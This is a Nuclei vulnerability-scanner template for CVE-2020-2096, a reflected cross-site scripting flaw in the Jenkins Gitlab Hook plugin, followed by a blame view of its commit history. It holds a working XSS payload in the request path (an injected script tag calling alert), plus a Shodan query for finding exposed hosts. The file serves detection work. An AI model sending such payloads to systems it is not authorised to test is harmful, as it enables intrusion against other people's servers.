nuclei-templates/http/cves/2020/CVE-2020-2096.yaml

id: CVE-2020-2096

info:
  name: Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: Jenkins Gitlab Hook 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected cross-site scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to the latest version of Jenkins Gitlab Hook plugin (>=1.4.3) to mitigate this vulnerability.
  reference:
    - https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683
    - http://www.openwall.com/lists/oss-security/2020/01/15/1
    - http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-2096
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-2096
    cwe-id: CWE-79
    epss-score: 0.96965
    epss-percentile: 0.99712
    cpe: cpe:2.3:a:jenkins:gitlab_hook:*:*:*:*:*:jenkins:*:*
  metadata:
    max-request: 1
    vendor: jenkins
    product: gitlab_hook
    framework: jenkins
    shodan-query: http.title:"GitLab"
  tags: cve2020,cve,jenkins,xss,gitlab,plugin,packetstorm

http:
  - method: GET
    path:
      - "{{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201687a011b3c1d0b082df0fc4bf771617cb0349de4cba006052c27eaba7755f79022100c31de3ab11f6116e0df6b8b2ca349dd4cd9dfbeb7bf1ab32871215d871c1cdbb:922c64590222798bb761d5b6d8e72950
misc changes 2021-01-02 04:56:15 +00:00			`id: CVE-2020-2096`
Create CVE-2020-2096.yaml 2020-04-08 10:59:57 +00:00
			`info:`
Dashboard Content Enhancements (#5092) Dashboard Content Enhancements 2022-08-16 14:14:41 +00:00			`name: Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting`
Create CVE-2020-2096.yaml 2020-04-08 10:59:57 +00:00			`author: madrobot`
Update syntax 2020-05-25 07:49:06 +00:00			`severity: medium`
Dashboard Content Enhancements (#5092) Dashboard Content Enhancements 2022-08-16 14:14:41 +00:00			`description: Jenkins Gitlab Hook 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected cross-site scripting vulnerability.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.`
updated 2020 CVEs 2023-09-06 12:22:36 +00:00			`remediation: \|`
			`Upgrade to the latest version of Jenkins Gitlab Hook plugin (>=1.4.3) to mitigate this vulnerability.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Missing references 2021-03-10 11:31:41 +00:00			`- https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683`
			`- http://www.openwall.com/lists/oss-security/2020/01/15/1`
			`- http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html`
Dashboard Content Enhancements (#5092) Dashboard Content Enhancements 2022-08-16 14:14:41 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2020-2096`
TemplateMan Update [Sat Mar 23 09:28:19 UTC 2024] :robot: 2024-03-23 09:28:19 +00:00			`- https://github.com/Elsfa7-110/kenzer-templates`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 6.1`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2020-2096`
			`cwe-id: CWE-79`
TemplateMan Update [Sun Nov 5 22:23:39 UTC 2023] :robot: 2023-11-05 22:23:39 +00:00			`epss-score: 0.96965`
TemplateMan Update [Sat Mar 23 09:28:19 UTC 2024] :robot: 2024-03-23 09:28:19 +00:00			`epss-percentile: 0.99712`
updated 2020 CVEs 2023-09-06 12:22:36 +00:00			`cpe: cpe:2.3:a:jenkins:gitlab_hook::::::jenkins::*`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`metadata:`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: jenkins`
			`product: gitlab_hook`
updated 2020 CVEs 2023-09-06 12:22:36 +00:00			`framework: jenkins`
			`shodan-query: http.title:"GitLab"`
auto tagging via templateman 2024-01-14 09:21:50 +00:00			`tags: cve2020,cve,jenkins,xss,gitlab,plugin,packetstorm`
Create CVE-2020-2096.yaml 2020-04-08 10:59:57 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2020-2096.yaml 2020-04-08 10:59:57 +00:00			`- method: GET`
			`path:`
Update CVE-2020-2096.yaml 2021-11-24 07:58:52 +00:00			`- "{{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"`

Fixed default condition OR to AND in false-positives 2020-07-08 11:38:57 +00:00			`matchers-condition: and`
Create CVE-2020-2096.yaml 2020-04-08 10:59:57 +00:00			`matchers:`
updating this to avoid f/p result. 2020-04-08 14:42:57 +00:00			`- type: word`
Create CVE-2020-2096.yaml 2020-04-08 10:59:57 +00:00			`part: body`
update CVE-2020-2096 2021-11-23 11:01:24 +00:00			`words:`
Update CVE-2020-2096.yaml 2021-11-24 07:58:52 +00:00			`- "</script><script>alert(document.domain)</script>"`

			`- type: word`
update CVE-2020-2096 2021-11-23 11:01:24 +00:00			`part: header`
Update CVE-2020-2096.yaml 2021-11-24 07:58:52 +00:00			`words:`
			`- text/html`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Mon Mar 25 11:57:16 UTC 2024] :robot: 2024-03-25 11:57:16 +00:00			`# digest: 4a0a0047304502201687a011b3c1d0b082df0fc4bf771617cb0349de4cba006052c27eaba7755f79022100c31de3ab11f6116e0df6b8b2ca349dd4cd9dfbeb7bf1ab32871215d871c1cdbb:922c64590222798bb761d5b6d8e72950`